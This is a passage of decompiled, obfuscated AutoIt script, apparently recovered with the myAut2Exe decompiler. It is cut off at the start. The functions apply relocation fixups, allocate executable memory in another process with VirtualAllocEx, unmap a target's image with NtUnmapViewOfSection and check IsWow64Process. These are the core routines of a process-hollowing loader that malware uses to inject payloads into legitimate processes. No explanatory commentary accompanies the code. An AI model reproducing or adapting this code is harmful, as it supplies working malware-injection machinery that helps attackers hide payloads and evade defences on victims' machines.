$3A $3C=DLLSTRUCTGETDATA($3B,1,$2V) IF BITSHIFT($3C,12)=$12 THEN $3D=DLLSTRUCTCREATE("ptr",$2N+$2S+BITAND($3C,4095)) DLLSTRUCTSETDATA($3D,1,DLLSTRUCTGETDATA($3D,1)+$34) ENDIF NEXT $38+=$39 WEND RETURN 1 ENDFUNC FUNC _6J($1X,$3E,$35) LOCAL $1W=DLLCALL("kernel32.dll","ptr","VirtualAllocEx","handle",$1X,"ptr",$3E,"dword_ptr",$35,"dword",4096,"dword",64) IF @ERROR OR NOT $1W[0]THEN $1W=DLLCALL("kernel32.dll","ptr","VirtualAllocEx","handle",$1X,"ptr",$3E,"dword_ptr",$35,"dword",12288,"dword",64) IF @ERROR OR NOT $1W[0]THEN RETURN SETERROR(1,0,0) ENDIF RETURN $1W[0] ENDFUNC FUNC _6K($1X,$35) LOCAL $1W=DLLCALL("kernel32.dll","ptr","VirtualAllocEx","handle",$1X,"ptr",0,"dword_ptr",$35,"dword",12288,"dword",64) IF @ERROR OR NOT $1W[0]THEN RETURN SETERROR(1,0,0) RETURN $1W[0] ENDFUNC FUNC _6L($1X,$3E) DLLCALL("ntdll.dll","int","NtUnmapViewOfSection","ptr",$1X,"ptr",$3E) IF @ERROR THEN RETURN SETERROR(1,0,0) RETURN 1 ENDFUNC FUNC _6M($1X) LOCAL $1W=DLLCALL("kernel32.dll","bool","IsWow64Process","handle",$1X,"bool*",0) IF @ERROR OR NOT $1W[0]THEN RETURN SETERROR(1,0,0) RETURN $1W[2] ENDFUNC ; DeTokenise by myAut2Exe >The Open Source AutoIT/AutoHotKey script decompiler< - dmod 2.12 build(269)